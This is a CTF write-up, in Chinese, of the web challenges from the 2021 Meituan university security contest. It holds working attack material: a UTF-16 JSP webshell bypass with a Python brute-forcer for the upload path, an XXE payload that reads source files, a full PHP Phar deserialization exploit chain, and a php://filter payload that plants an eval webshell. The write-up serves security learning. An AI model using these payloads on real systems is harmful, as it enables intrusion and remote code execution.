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2021美团网络安全高校挑战赛web部分wp

跟着队友学到了不少东西

HackMe

随便上传一个东西显示“HACK! I filtered all the characters.”,尝试上传一个a,发现可以,上传aa不行,上传a a可以,猜测是字符不能连在一起,可以用utf-16绕过,随便拿个jsp马转成utf-16即可:

image-20211213152906765

然后上传成功之后会显示一个地址upload/1b5337d0c8ad813197b506146d8d503d/yyyyMMddhhmmssSSS.jsp,后面hint出来才知道这个yyyyMMddhhmmssSSS是上传时的时间戳,最后的SSS是毫秒,我们可以简单写个脚本来爆:

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from os import name
import requests
import time
import sys
import threading


def func(fname):
res = requests.get(fname)
if "Something went wrong" not in res.text:
print(fname)
sys.exit(0)


url = "http://127.0.0.1:49154"

file = "shell.jsp"
files = {"file": open(file, "rb")}

prev = time.strftime("%Y%m%d%H%M%S", time.localtime())
# prev = "20211212172308"
print(prev)
res = requests.post(url + "/UploadServlet", files=files)
# print(res.text)
start = time.strftime("%Y%m%d%H%M%S", time.localtime())
print(start)


for i in range(5):
for j in range(1000):
fname = f"{url}/page.jsp?file=upload/1b5337d0c8ad813197b506146d8d503d/{int(prev) + i}{str(j).zfill(3)}"
# print(fname)
thread = threading.Thread(target=func, args=(fname,))
thread.start()

UpStorage

登录的时候抓包,发现传的是xml,直接xxe读源码:

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<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=class.php">
]>
<user><username>&file;</username><password>dfsaa</password></user>

文件上传+LFI+class,很容易想到Phar反序列化,exp:

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<?php
//error_reporting(0);
//$dbaddr = "127.0.0.1";
//$dbuser = "root";
//$dbpass = "";
//$dbname = "ctf";
//$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);


abstract class Users {

public $db;

abstract public function verify_user($username, $password);
abstract public function check_user_exist($username);
abstract public function add_user($username, $password);
abstract protected function eval();

public function test() {
$this->eval();
}
}


class User extends Users {

public $db;
private $func;
protected $param;

public function __construct() {
$this->func = "call_user_func";
$this->param = array("Logs","log");
}


protected function eval() {
if (is_array($this->param)) {
($this->func)($this->param);
} else {
die("no!");
}
}

public function verify_user($username, $password)
{
// TODO: Implement verify_user() method.
}

public function check_user_exist($username)
{
// TODO: Implement check_user_exist() method.
}

public function add_user($username, $password)
{
// TODO: Implement add_user() method.
}
}


class Welcome{

public $file;
public $username;
public $password;
public $verify;
public $greeting;

public function __construct($username)
{
$this->username = $username;
$this->password = "index.php";
}

public function __toString(){
return $this->verify->verify_user($this->username,$this->password);
}

public function __wakeup(){
$this->greeting = "Welcome ".$this->username.":)";
}
}


class File {
public $filename;
public $fileext;
public $basename;

public function __construct()
{
$this->filename = new User();
}

public function check_file_exist($filename) {
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function __call($func, $params) {
foreach($params as $param){
if($this->check_file_exist($param)) {
$this->filename->test();
}
}
}

}


class Logs {

public $log;

public function log() {
$log = $_GET['log'];
if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");
}
file_put_contents($log,'<?php exit();'.$log);
}
}

$welcome1 = new Welcome("index.php");
$welcome1->verify = new File();
$welcome2 = new Welcome($welcome1);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($welcome2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

log处的死亡exit绕过可以参考2020WMCTF的checkin,payload:php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php